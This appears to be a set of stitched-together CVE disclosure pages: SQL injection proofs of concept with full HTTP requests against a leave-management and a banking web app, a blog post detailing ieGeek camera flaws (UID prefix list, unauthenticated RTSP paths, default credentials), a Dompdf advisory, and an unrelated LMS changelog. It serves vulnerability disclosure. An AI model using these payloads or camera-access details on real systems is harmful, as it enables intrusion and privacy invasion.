Online Leave Management System v1.0 is vulnerable to SQL Injection via /leave_system/classes/Master.php?f=delete_application.

Permalink

Cannot retrieve contributors at this time

**Online Leave Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: Tmoont

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html

Vulnerability File: /leave\_system/classes/Master.php?f=delete\_application

Vulnerability location: /leave\_system/classes/Master.php?f=delete\_application,id

dbname=leave\_db,length=8

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /leave\_system/classes/Master.php?f\=delete\_application HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/leave\_system/admin/?page=maintenance/department
Content-Length: 65
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-40928: Bug_report/SQLi-3.md at main · admin77888/Bug_report

ieGeek IG20 hipcam RealServer V1.0 is vulnerable to Incorrect Access Control. The algorithm used to generate device IDs (UIDs) for devices that utilize Shenzhen Yunni Technology iLnkP2P suffers from a predictability flaw that allows remote attackers to establish direct connections to arbitrary devices.

*   ieGeek IG20 Issues/Vulnerabilities
    *   UID Weakness CWE-340
    *   Unauthenticated / Default auth access to camera stream via RTSP protocol CWE-284
*   Default P2P Camera feed activated and sent to a server in plaintext CWE-284
    *   Access to files stored on the camera CWE-284
*   Admin Panel – Basic Authentication in use / Weak Password Requirements CWE-521 / CWE-287
*   JavaScript injection (DOM-based) CWE-79
*   HTTP Response Header Injection/Splitting CWE-644
*   Device NMAP scan
*   The Listing On Amazon
*   Update 01 Sep 2022 – Product Still Listed On Amazon
*   Update: 01 Sep 2022
*   Consumer Recommendations
*   Q&A
    *   Are ieGeek cameras secure?
    *   What are the real risks of ieGeek cameras?
*   Cheap CCTV Invites Outside Threats Into Your Home\[4\]
*   References
    *   Please login to bookmark
    *   Don’t miss:

**_Amazon’s “highly rated” ieGeek brand continues to present a number of security vulnerabilities._**

On the 19th of Aug 2022 I set out to purchase a CCTV Camera from Amazon, I read over the reviews of the ieGeek IG20, and it seemed great, the value too. For just £29.99 I’d get myself a great looking CCTV Camera, packed full of features. It has night vision, Smartphone access, Motion Detection, Plug & Play, It’s waterproof and it can connect via WiFi or Ethernet. Great, I was sold. However, I failed to do any research on the brand specifically.

The camera arrived the following day, and later that day I got around to setting it up. I first noticed that on the back of the camera, there was a sticker with a UID printed, along with a Factory default Username & Password combination, consisting of admin/admin.

**UID Weakness CWE-340**

The UID appears to be predictable.The UID in our case, will look like this: **_AAFF-123456-ABCDE_** – depending on the make and model.

*   **UID p1**: _Same 4 letters at the start._
*   **UID p2:** _6 numbers at random in the middle._
*   **UID p3**: _5 random letters at the end._

Evidently, having just this basic knowledge of the UID and using the default credentials, the camera feed could be accessed using the software provided by ieGeek from their website by testing each UID value. This can leave a number of IP cameras vulnerable to unauthorised viewing with the privacy of users at risk.

Below are some more vulnerable prefixes running the same crappy firmware.

AAAA

AABB

AACC

AAES

AIPC

AAFF

BBBB

CAM

CAMERA

CCCC

DDDD

DEAA

EEEE

ELSA

ELSO

ESCM

ESN

ESS

EUA

EYE

FCARE

FDTAA

FFFF

FOUS

GCAM

GCMN

GGGG

GKW

HHHH

HRXJ

HSL

HVC

HWAA

HZD

HZDA

HZDB

HZDC

HZDN

HZDX

HZDY

HZDZ

IIII

ISRP

JWEV

MCI

MDI

MEIA

MMMM

MSE

MSI

MTE

NIP

NNNN

NTP

OBJ

PHP

PISR

POLI

PPCN

PPPP

PTP

QSHV

ROSS

SECRUI

SPCN

SSAA

SSSS

SURE

SXH

TTTT

UUUU

VIEW

VSTA

VSTB

VSTC

VSTD

VSTF

WCAM

WGKJ

WHI

WNR

WNS

WNV

WWWW

WXH

WXO

XCPTP

XHA

XLT

XWL

ZLD

ZZZZ

AVA

**Unauthenticated / Default auth access to camera stream via RTSP protocol CWE-284**

By default, one can easily access the camera’s stream externally or internally depending on your router/network configuration, with our without means of Authentication.

*   **Zero Authentication:** rtsp://+IP+/11
*   **Default Auth:** rtsp://admin:\[email protected\]+IP+/11

_**Replace +IP+ with your local or external IP**_.

Here is a screenshot of the Default RTSP settings, requiring Zero authentication.

**Default P2P Camera feed activated and sent to a server in plaintext CWE-284**

The cloud function of the camera uses the P2P protocol to send and make requests back to a server based in China in plaintext. It was found that all connections back to this were made in plaintext regardless of protocol, this includes the viewing of the camera’s stream and control. HTTPS was not found to be implemented anywhere on the camera.

**Access to files stored on the camera CWE-284**

The following directories can be viewed using the default login:

*   http://+IP+/tmpfs
*   http://+IP+/js
*   http://+IP+/lib
*   http://+IP+/log
*   http://+IP+/resources
*   http://+IP+/sd
*   http://+IP+/swfs

The number of links discovered showed that the SD card, log files and website front-end code were accessible from the web interface. This includes any footage that has been recorded by the device and stored on the external SD card.

I decided to check out shodan.io and searched for “hipcam realserver”. Shodan is a Google like database of Connected Devices, if you like. It produced 93,312 results of addresses that had port 554 exposed to the internet. As I browsed these I also discovered a number of addresses that also had Port 80 exposed, hosting the same ‘IP Camera’ front page with login. With what I have discovered it is possible for each of these devices to be accessed via default credentials, or if the admin credentials are changed, Using VLC player, I could potentially connect to each of these camera streams without the need to authenticate.

**Admin Panel – Basic Authentication in use / Weak Password Requirements CWE-521 / CWE-287**

When the camera is booted up, a web server is spawned and requires a login to gain access. Default credentials were then used to gain access and there was no setup to force change of the default password in place. Burpsuite caught this login process; the session was found to be using HTTP Basic Authentication to handle the username and password. The Base64 translates to admin:admin.

**JavaScript injection (DOM-based) CWE-79**

Data is read from **document.cookie** and passed to **eval()**

    
    var strCookie=document.cookie;
    var arrCookie=strCookie.split('; ');
    var arr=arrCookie[i].split('=');
    return unescape(arr[1]);
    var cooktype=getcookie('cookmun');
    var string = eval("'cgi-bin/hi3510/param.cgi?cmd=setimageattr&-image_type="+cooktype+"&-default=on'");

Using various different methods of escaping. Stored XSS was also prevalent in many places within the admin panel that used user input. Example: FTP Upload settings.

**HTTP Response Header Injection/Splitting CWE-644**

The web application is also evidently vulnerable to HTTP response header injection, see PoC below. This also led me to discover i was able to break out of the response.

Your options for exploitation vary depending on the type of response you’re injected into and also where in the response you’re placed!

Here we’ve added a “malicious cookie” which will be set in the browser. As mentioned earlier i was also able to break into the body, or out of the headers through double CRLFs (%0d%0a%0d%0a) **_see below_**.

When user input is insecurely inserted into the headers of server responses, HTTP Header Injection vulnerabilities are created. They are based on the theory that an attacker can make the server generate a response that contains carriage-return and line-feed characters (or, respectively, %0D and %0A in their URI encoded forms), within the server response header, and/or that the attacker may be able to add specially created headers. Attacks like response splitting, session fixation, cross-site scripting, and malicious redirection are all possible using header injection.

Often, the injection of headers is not the main attack; rather, it is merely a method for accessing or exploiting another flaw. For instance, if a hacker is able to inject a payload through HTTP header injection, they may target a website that is susceptible to cross-site scripting in the Referer header or in a cookie value etc.

**Device NMAP scan**

    Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-28 00:42 BST
    Nmap scan report for 192.168.1.116
    Host is up (0.0088s latency).
    Not shown: 996 closed ports
    PORT     STATE SERVICE
    80/tcp   open  http Hipcam RealServer/V1.0
    554/tcp  open  rtsp
    1935/tcp open  rtmp Real-Time Messaging Protocol
    8080/tcp open  http-proxy ONVIFservice
    MAC X (Shenzhentong BO Weitechnology) SHENZHEN TONG BO WEI TECHNOLOGY Co.,LTD
    Device type: general purpose
    Running: Linux 2.6.X|3.X
    OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
    OS details: Linux 2.6.32 - 3.10
    Network Distance: 1 hop
     

Anyway, I decided enough is enough with this trash device and unplugged it from my network, packaged it back up and arranged a return with Amazon.

**The Listing On Amazon**

At the time of writing, the listing is still available, however, I reached out to Amazon and made them fully aware of everything, including my intention to publish this article, and they advised me that the product listing would be “temporarily” removed today, **28th Aug 2022**, pending further Investigation.  
The listing can be seen here **_\[if still available\]_**

It has to be worth noting, that there was an investigation by Which.co.uk see reference \[3\] in July 2021, that details a line of similar flaws, consequently, Amazon removed the said ieGeek branded camera from sale on its website. The which? investigation revealed another device from the same manufacturer can be easily hacked by cybercriminals.

> The £40 camera, which was labelled Amazon’s Choice, had more than 8,500 reviews (as of June 22 2021), including 68% giving the full five stars.
> 
> If you own the ieGeek Security Outdoor Camera 1080p, you should change its default password immediately, or better still, stop using it.
> 
> https://www.which.co.uk/news/article/iegeek-security-camera-removed-from-sale-following-which-investigation-ajW4t0g7bnGj

So the question remains, why do Amazon allow Manufacturers to list products irrelevant of the manufacturer having been Flagged, and Delisted in the past? A better system needs to be in place. Yes, I understand there can be a new line of products/models but surely amazon should be seen to be doing more to prevent devices like this from appearing on their website. The privacy and security of their customers should be paramount.

**Update 01 Sep 2022 – Product Still Listed On Amazon**

We’ve noted that the product is still available to purchase on Amazon, despite us being told that it would be removed, pending an investigation. We figured we’d add a screenshot, just for clarity.

Here is the screenshot of a mail I received from the Amazon Representative on the 28th of August, this email states the item “may be temporarily unavailable”, which contradicts what she told me on the telephone. This email arrived in my mailbox very shortly after I had a call with the same lady, Roxy.

**Update: 01 Sep 2022**

We’ve been made aware of another article from Which.co.uk, this second article was published in late 2021, after the earlier-mentioned article. Their second write-up clearly paints a very different picture, one could easily say it’s misleading given what has been uncovered in this report. It has to be worth mentioning that my ieGeek device, and probably many many others, was still running the same vulnerability-ridden firmware that Which.co.uk spoke out against in their first write-up, as has been verified by the team here at risec and elsewhere. There was no obvious offer of any firmware upgrade, at least to my knowledge. Anyway, see some quotes from the second write-up below.

> **Millions of CamHi wireless cameras made more secure after hacking risk**
> 
> Following a change by HiChip, all CamHi app devices when installed now must have their default password changed by the user.
> 
> HiChip has agreed to enforce a strong password policy, particularly blocking generic terms such as ‘password’ and ‘admin’.
> 
> For CamHi devices that are already set up in people’s homes, the app will remind them to change the default password and warn them if what they have chosen is weak
> 
> **_MISLEADING_**: https://www.which.co.uk/news/article/millions-of-camhi-wireless-cameras-made-more-secure-after-hacking-risk-aezzW2u2ELsl

**_We have reached out to Which.co.uk and have yet to receive any notable response._**

**Consumer Recommendations**

If you value your privacy, and security as much as we do, please remove the device from service. It is simply unfit for purpose. If you bought it from Amazon, go and arrange a return as this device is in clear breach of their merchant conditions.

Research each device thoroughly before buying, and check it’s security reputation.

_**Be Aware**_**_:_** _Endless numbers of IP cameras of other Brands also use the Hipcam RealServer service; I am unable to check the configuration of these devices specifically, but one would be led to believe they are all implemented similarly. Sadly, there doesn’t seem to be a method to warn anyone utilising these IP Cameras that they are exposed._

On a final note, take amazon’s reviews with a pinch of salt, and always do your homework. Next time your about to purchase a connected device, IoT(Internet-of-Things), do a quick google query, something like, “vulnerable BRAND” or “exploit BRAND”

**Q&A****Are ieGeek cameras secure?**

According to our research, and many others, ieGeek cameras are not secure. The devices they seem to be pushing out in 2022 are vulnerable in a number of ways as detailed in this article. Fundamentally, they lack proper encryption, and, are shipped to consumers riddled with security holes. One can only ask themselves, is it intentional? _**tldr; Given the research of the team here at RiSec, and research conducted elsewhere, we can categorically say ieGeek’s cameras are not secure in 2022.**_

**What are the real risks of ieGeek cameras?**

By using these devices that lack proper safety and security standards, your private data is at serious risk of being exposed, **a bad actor may able to gain complete control of the cameras**. This fundamentally opens up your entire network to further attack, making it much easier for a bad actor to reach an end goal.

Cheap CCTV cameras tend to be vulnerable to at least one of the following types of hacking:

1.  They have a weak default password and username setting, which can be easily discoverable. If the user doesn’t change those settings, it’s very easy for hackers to find their way into your camera control system, in every case, there is no prompt in the Admin panel when logging in, advising you to chase any password.
2.  They don’t encrypt your data so that your home router password input is un-encrypted and accessible to any cyber attacker, or themselves.., same applies with any SMTP email info provided, along with any FTP info provided to the device. By using the home router password, they can gain access to other devices on your home network, can monitor your Internet history and any stored data on connected devices.
3.  They let external users gain root access to the device itself, allowing hackers to take control, launch attacks from your device, and exfiltrate data.

**Cheap CCTV Invites Outside Threats Into Your Home\[4\]**

> There are three main security issues you need to look for when buying your CCTV camera. Popular wireless security camera brands that are sold on online marketplaces like Amazon, but also eBay share common security flaws.
> 
> As a rule of thumb, brands that are not well-known outside of the online market should be avoided at all cost. Affordable CCTV solutions from Shenzhen-based factories in China sometimes fail to meet wireless safety standards.
> 
> Brands that have been tested for vulnerability and that you should avoid are the following; ieGeek, Sricam, SV3C, and Vstarcam. All come with a friendly price tag, but they are quick to join the list of CCTV cameras that put your privacy and security at risk.
> 
> Tested by a professional security lab, Context Information Security, “cheap CCTV cameras show that they fail to prioritise customers’ security even those that are bestsellers in online marketplaces”
> 
> \[4\]

Update: **_21/09/2022_** – After some back-and-forth correspondence with the vendor, **_ieGeek_**, they have disputed that the ieGeek IG20 is an insecure device, despite our evidence to the contrary, they also cited an invalid misleading Which.co.uk\[5\] post as seen above.

**CVE Approved:** **_CVE-2022-38970_**\[6\]

**_Got some crazy story? thoughts on this article? We’d love to hear from you below!_**

_Coming up next, I will be covering a Chinese “Mini-PC” that was shipped to me loaded with Malware._

Ciao, for now.

**_References_**

Amazon product listing\[1\]

IG20 ieGeek store page\[2\]

Which investigation ieGeek\[3\]

Cheap CCTV Sold With Known Vulnerabilities\[4\]

Which.co.uk Misleading\[5\]

**_CVE-2022-38970_**\[6\]

Suggest an edit to this article

Go to Cybersecurity Knowledge Base

Got to the Latest Cybersecurity News

Go to Cybersecurity Academy

Go to Homepage

_Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today_.

**_Remember,_** _CyberSecurity Starts With You!_

*   Globally, **30,000 websites** are hacked daily.
*   **64% of companies** worldwide have experienced at least one form of a cyber attack.
*   There were **20M breached records** in March 2021.
*   In 2020, ransomware cases grew by **150%**.
*   Email is responsible for around **94% of all malware**.
*   **Every 39 seconds,** there is a new attack somewhere on the web.
*   An average of **around 24,000 malicious mobile apps** are blocked daily on the internet.

Bookmark

**Please login to bookmark**

No account yet? Register

*   About
*   Latest Posts

Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

Share the word, let's increase Cybersecurity Awareness as we know it

CVE-2022-38970: ieGeek Vulnerabilities still prevalent in 2022 - Amazon Ft. IG20

Academy Learning Management System before v5.9.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Search parameter.

Academy Lms is a marketplace script for online learning. Here students and teachers are combined together for sharing knowledge through a structured course-based system. Teachers or instructors can create an unlimited number of courses, video lessons and documents according to their expertise and students can enroll in these courses and make themselves skilled anytime and from anywhere.  
So start selling your courses by installing ACADEMY and make your online business today.  

**Quick start guide for course instructor/admin**

*   Read all our provided documentation carefully before using the software
*   Install the application following “Installation and Update” guide carefully
*   Login as site administrator to organize your system
*   At first update your System Settings and Payment Settings from Settings option of the left sidebar menu. Also, make sure to provide a valid YouTube API key and a valid Vimeo API key on System Settings.
*   If you have updated the Settings successfully, you can go to Categories option from the same left sidebar menu and create Categories.
*   After creating Category, you can create Sub-categories under a specific Category. For creating Sub-categories you can go to the Categories page, select a specific category, click on the Action dropdown menu and select Manage Sub-categories. It will take you to the Sub-categories page. Now you can simply click on “+Add Sub Category” button and fill all the required fields to create a Sub-category.
*   Now its time to create some Courses. Since a course will contain all the video lessons you have to create it carefully. Move to Courses option from the left menu, You will get a “ Add Course Form” after clicking on “+Add Course” button. Fill all the fields carefully
*   Every Course should have at least one Section. Because at the end you will have to add a lesson under a specific section of a specific course. So, now you will have to create at least one section. Move to the Courses page, select a specific course, click on the action dropdown menu and select Manage Section. After clicking on Manage Section you will get the list of Section which is empty now. You have to create one by clicking the “+Add Section” button
*   As you have created a Course and a section or multiple sections, now you will be able to create a lesson. Now, let’s move to the Course page again, select a specific course, click on the Action dropdown button, select Manage Lesson. It will also show the list of lessons that you’ve created. To add new you can just click on “+Add Lesson” button

**Quick start guide for course students**

*   Since the application has been already installed. Student can access the website by simply hitting the application URL
*   Home page will appear every time a student hits the URL. From the home page, a student can search for a specific course, get all the top courses, top ten latest courses, get category based courses. A student can sign up if he/she is not registered yet. If a student is already registered he/she can log in. Student can add courses on their Shopping Carts or add them on their Wishlists
*   Students can see the course details by simply clicking on a course thumbnail. The course details page contains all the essentials information about a course like, Title, Description, Outcomes, The prerequisites of the course, Lesson list Instructor details, and the rating and reviews. User can see a course overview here
*   If Student want to buy the course they must add those courses on their cart
*   After adding a course on Shopping cart if a student wants to see their cart items, they can to go to the Shopping Cart page by clicking on Go To Cart button, which appears on hovering over the cart icon of the header
*   Student can remove courses if they want from the shopping cart page
*   On the right side of the shopping cart page is the total price of the cart items. Under that is the Checkout button. If student want to check out they can simply click on the Checkout button and pay for those courses
*   After a successful checking out student can see their courses on the My Courses menu. The student will get the My Courses button by hovering over their profile image from the header
*   My Courses page will show all the courses which are purchased by that student. Student can play the lessons by clicking on the thumbnail from the My Courses page

**Update Log**

**Version 5.9.1 – 16 August, 2022**

\- Home page newly designed
- Footer newly designed
- Sign up URL enhanced to improve SEO
- The uploaded images are optimized automatically
- Footer link issue fix
- Auto logout issue fix

**Version 5.9 – 3 July, 2022**

\- Pagination added to the search result page
- Pagination added to the course filter page
- Search result optimised from in dept course data
- Quiz result issue fixed and experience improved

**Version 5.8 – 26 May, 2022**

\- New! limitation on account access from multiple devices
- Admin can set how many account can be accessed by a single student account
- Create any number of new pages for your course website
- Video uploading progress bar shown during lesson creation
- Quiz question type added: true-false, fill in the blanks, multiple choice, single choice
- Instructor now can view student's quiz results
- Quizzes now have timer to complete within a certain time period
- Login session time period extended
- Issue fix for blog category link access
- Smtp crypto settings now added

**Version 5.7 – 18 April, 2022**

\- Drip content feature introduced
- Student has to complete previous lesson to access the next one
- Showing learning progress in course playing page
- Publicly course access permission settings (allow/deny) from admin panel
- Message read and unread status showed in messaging page between student and instructor
- Certificate addon update: drag & drop builder
- Certificate addon update: background image changing capability
- Certificate addon update: QR code shown for certificate validation

**Version 5.6 – 17 February, 2022**

\- Api updated for student and instructor mobile app
- Show email with name when admin enroll a student
- Delete enrolment history when a course is deleted
- Blog keywords for course website SEO performance enhance
- Minor bug fixed

**Version 5.5 – 19 January, 2022**

\- Blog module introduced
- Admin & instructor can write blog posts
- 'Buy' button added in course page
- Instructor skills added
- New page for forget password
- Newly designed user interface for student account panel
- Document type lessons now have preview option
- Coupon code discount feature enhanced
- Razorpay payment gateway option for instructor payout
- Store quiz result of students
- Api updated for mobile apps
- Source code optimised and performance upgraded

**Version 5.4 – 2 November, 2021**

\- Updated with bootstrap 5
- Completely newly designed frontend website layout

**Version 5.3 – 16 September, 2021**

\- Student can continue learning from last time viewed lesson (watch history preserved)
- When purchasing a course without login, redirected to that course after login.
- The video source URL has been hidden for HTML5 video URL and Video file.
- Added language select option to instructor panel.

**Version 5.2 – 30 August, 2021**

\- New lesson type: text format
- Facebook login for students added
- Admin permission for quick action menu fixed
- Refund policy option settings added

**Version 5.1 – 4 August, 2021**

\- New lesson type: google drive
- Razorpay payment gateway comes as standard
- Free lesson preview

**Version 5.0 – 1 June, 2021**

\- Adding new admins
- Admin role permission setting
- Multi instructor in single course
- Coupon code
- Course compare feature
- Application performance improvement
- Organised Admin navigation menu
- Organised applications assets
- Documentation updated

**Version 4.7 – 8 May, 2021**

\- Responsive issue solved on the course playing page.
- Bug fixed on social sharing content.
- A new API has been added for the Instructor mobile app.

**Version 4.6 – 23 March, 2021**

\- Sub category selection fixed for mobile device screens.
- Minor bug fixes
- Performance improvement

**Version 4.5 – 9 February, 2021**

\- Ability to filter courses according to parent categories.
- Security check on installing addons.
- Course preloaded on homepage. 
- Fixed a minor bug on course completion.

**Version 4.4 – 22 December, 2020**

\- Google recaptcha introduced for enhanced account security
- Dashboard shortcut for : Add student, Enrol student, Add course, Add lesson
- Mobile API updated
- Layout updated in course detail page for mobile device responsiveness.

**Version 4.3 – 20 October, 2020**

\- Browser cache issue on image uploading has been solved.
- Ratings and reviews are now showing perfectly on mobile device.
- Server storage has been optimised by removing the previous video file while updating video type lessons.
- Stripe payment API is working fine in Academy mobile app.
- Top courses are now accessible from mobile devices.
- Latest courses are now accessible from mobile device.
- Info banner is now aligned perfectly in mobile device.

**Version 4.2 – 15 September, 2020**

\- Sending verification code instead of link on user verification email. Since sometimes mail with a link considered as suspicious.
- Keeping stripe session id and transaction id on stripe payment.        
- Enhanced the security of stripe payment.
- Total lesson count is now working fine in all dashboard.   
- Minor bug fixes and performance improvement.

**Version 4.1 – 19 August, 2020**

\- All payment gateways are included in mobile app.
- Students can purchase course inside mobile app using all available payment gateways and addons.
- Rating review posting by student random issue fix
- Version update procedure updated

**Version 4.0.1 – 6 July, 2020**

\- Stripe payment gateway updated for course purchase
- Api updated for mobile application
- Minor bug fixes

**Version 4.0 – 17 June, 2020**

\- New instructor workflow introduced
- Admin can add new instructor from admin panel
- User needs to apply to be an instructor if the admin keeps it enabled
- New dashboard and menu for instructor panel
- New sales report page for instructor
- New payout report page for instructor
- New instructor payout processing system
- The instructor now have the opportunity to request a withdrawal request
- Language switcher from frontend website
- New lesson creation layout and very user-friendly workflow
- A separate form for each type of lessons and it can be switched instantly
- Video upload option in lesson creation form with possible upload size info
- Toaster notification translation issue fixed
- Student page title issue fixed
- Lesson deletion issue while course deletion is fixed
- Multi-language helper updated
- Courses can be added to wishlist from course detail page
- User is shown an alert before removing a course from wishlist
- Outgoing email text enhanced for being marked as spam by Gmail

**Version 3.6 – 23 April, 2020**

\- Iframe embed code feature added.
- Now you can add google slide, slideshare slides and any embeddable external content.

**Version 3.5 – 8 April, 2020**

\- Minor bug fixes.

**Version 3.4 – 20 March, 2020**

\- Android API added to purchase a course from inside the student's mobile app.

**Version 3.3 – 10 March, 2020**

\- Checkout page updated

**Version 3.2.1 – 1 March, 2020**

\- Academy lms site slow speed performance fixed

**Version 3.2 – 19 February, 2020**

\- Payment system upgraded and designed from scratch
- Disabled payment gateways are now hidden from student course purchase page
- Some minor bug fixes in course, lesson management in the admin panel

**Version 3.1 – 15 January, 2020**

\- EU cookie note added with cookie policy acceptance
- Course purchase notification to instructor, admin, student
- Disabled payment method is now inactive in course purchasing cart
- Instructor list is shown in the admin panel
- API updated for mobile app course purchasing
- Enroll history report updated to current month by default
- Addon system introduced
- New addon manager for addon installation, activation or deactivation
- Certificate addon released. Buy here: https://codecanyon.net/item/x/25515213
- Documentation updated

**Version 3.0 – 12 October, 2019**

\- Android app API published
- Separate video lesson configuration for mobile app added
- Lesson player CSS fixed
- Footer text made dynamic from admin panel
- Course curriculum layout issue fixed
- Course duration value fixed
- Course title short layout enhanced

**Version 2.4 – 17 September, 2019**

\- User interface updated

**version 2.3 – 12 August, 2019**

\- Course progress feature added for students
- Students can mark / unmark a lesson as complete
- My course page shows completion percentage of every purchased course
- Video lessons can be resumed from last time watched ( applicable for .mp4 videos )

**version 2.2 – 10 July, 2019**

\- Course playing page new layout introduced. Designed and coded from scratch.
- Theme installation option added.
- Theme chooser, activation and deactivation option added.

**version 2.1 – 16 June, 2019**

\- stripe payment gateway api updated
- admin now have option to enable or disable email verification
- course purchasing cart page crash issue fixed

**version 2.0 – 10 June, 2019**

\- quiz module introduced
- MCQ question manager for course quiz
- quiz sorting option added
- new course manager layout
- course filter for admin to sort out easily
- courses and section now grouped in a single page
- brand new admin panel layout
- admin now have monthly income graph chart
- new instructor dedicated panel introduced
- category manager updated
- new course filter page added in frontend website
- courses can be filtered by category, price, level, language, rating
- filter course with list view and grid view
- all user login page unified in a single form
- new website launched for academy : http://www.academy-lms.com

**version 1.3 – March, 2019**

\* Free course enrolment opportunity
\* Confirmation email on student account register
\* Custom smtp settings for site admin
\* Stopped playing course preview on background
\* Shopping cart view updated
\* Minor bugs fixes

**version 1.2 – January, 2019**

\* Lesson file type added : text, pdf, doc, own server video
\* Description field for all course lessons
\* Video player updated and enhanced 
\* Added course title/summary to course playing page
\* Course activation notification updated.
\* Site title issue fixed
\* Seo settings for course pages
\* Added currency settings

**version 1.1 – November, 2018**  
\[ backend \]

\* Status Wise course creating.
\* Show number of courses by status on Dashboard as well as on Admin navigation menu.
\* Made managing sub-category more comprehensive on the category page.
\* Added icon picker on Category and subcategory add and edit form
\* Added an instructor filter on course table.
\* Separated Active and Pending courses status wise inside the course page.
\* Admin now has an option of “View Course on Frontend” inside course page.
\* Admin now can make a course Active as well as Pending.
\* Made Course overview URL optional while creating a course.
\* Made Course thumbnail optional while creating a course.
\* Made generating Lesson’s video duration more understandable. 
\* Added an optional Payment information field for Student. While creating and editing student. It is required for Instructors only.
\* Added Enrol a Student option. Now admin can enrol a student manually from the backend.
\* A new navigation menu “Report" has been added. 
\* Admin now can see all the revenue he got after a successful course purchasing.
\* Admin now can see all the revenue an Instructor got after a successful course purchasing.
\* Admin now can pay instructors.
\* Made Updater module functional for future updates.
\* Added two different Logo Uploader. One for backend another for Frontend.
\* Added Favicon uploader.
\* Added Instructor settings inside Settings option.
\* Fixed the “Action” Button breaking on small devices.
\* Dynamic footer text.

\[ frontend \]

\* Showing all the courses by course status. That means only Active courses are now being shown.
\* Fixed the login modal’s title.
\* Wish listed courses are now can be removed from the wish list page.
\* Already Purchased Button now redirects to My Courses page.
\* Fixed the issue of courses with no course overview URL or course thumbnail.
\* Instructor can see his course’s curriculums from the Course details page.
\* Respective instructor details of every course is showing on course details page.
\* Fixed the escape HTML tags issue on instructor Biography.
\* Added Instructor menu on the frontend navigation.
\* Creating course from the frontend.
\* Separated Active, Pending and Drafted course on instructor dashboard.
\* Instructor can see his created course details and respected course’s lessons from the frontend.
\* Instructor can make a published course to Draft course.
\* Instructor can create, update and delete sections from the frontend.
\* Serialize sections from the frontend.
\* Can Add, Update or Delete lessons from the frontend.
\* Instructor’s Payment report on the frontend.
\* Payment settings. Which is mandatory for being an Instructor.

**version 1.0 – October, 2018**

\- first version released

**Requirements**

*   Apache web server for running php
*   PHP version 7
*   Mysql database access, purchase code during installation
*   Php curl should be enabled
*   One purchase code is legal for using one domain only

**Contact support**

Send us a ticket for presale questions and getting after sales developer support via zendesk.  
http://support.creativeitem.com

CVE-2022-38553: Academy Learning Management System

`registerFont` in `FontMetrics.php` in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a `@font-face` rule.

**Dompdf allows remote file inclusion because URI validation failure does not halt font registration**

High severity GitHub Reviewed Published Sep 26, 2022 • Updated Sep 30, 2022

GHSA-6x28-7h8c-chx4: Dompdf allows remote file inclusion because URI validation failure does not halt font registration

registerFont in FontMetrics.php in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a @font-face rule.

**Change highlights since 2.0.0**

*   Improved font-face declaration parsing and handling
*   Improved layout of images with percentage-based dimensions

_**This release addresses the following vulnerabilities:**_

Vulnerability

References

Type

Severity

Remote file inclusion

#2994

Information Disclosure

TBD

**2.0.x highlights**

*   Modifies callback and page\_script/page\_text handling
*   Switches the HTML5 parser to Masterminds/HTML5
*   Improves CSS property parsing and representation
*   Switches installed fonts and font metrics cache file format to JSON

The list of addressed issues can be found in the 2.0.1 release milestone. View all changes since the previous release in the commit history.

We would like to extend our gratitude to the community members who helped make this release possible.

**Requirements**

Dompdf 2.0.1 requires the following:

*   PHP 7.1 or greater
*   html5-php v2.0.0 or greater
*   php-font-lib v0.5.4 or greater
*   php-svg-lib v0.3.3 or greater

Note that some dependencies may have further dependencies (notably php-svg-lib requires sabberworm/php-css-parser).

Additionally, the following are recommended for optimal use:

*   GD (for image processing)

For full requirements and recommendations see the requirements page on the wiki.

**Download Instructions**

The dompdf team recommends that you use Composer for easier dependency management.

If you're not yet using Composer you can download a packaged release of dompdf which includes all the files you need to use the library. Click the link labeled "dompdf\_2-0-1.zip" for the packaged release. The download options labeled "Source code" are auto-generated by github and do not include all the dependencies.

CVE-2022-41343: Release Dompdf 2.0.1 · dompdf/dompdf

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/send_funds.php.

Permalink

**Vulnerability file address**

net-banking/send_funds.php from line 9,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $id is not protected from sql injection, line 13 $result0 = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $id = $\_GET\['cust\_id'\];
    }

    $sql0 = "SELECT \* FROM customer WHERE cust\_id=".$id;
    $result0 = $conn\->query($sql0);
    $row0 = $result0\->fetch\_assoc();
......
......
......

**POC**

GET /net-banking/send\_funds.php?cust\_id=666 AND (SELECT 1043 FROM (SELECT(SLEEP(5)))rbwc) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

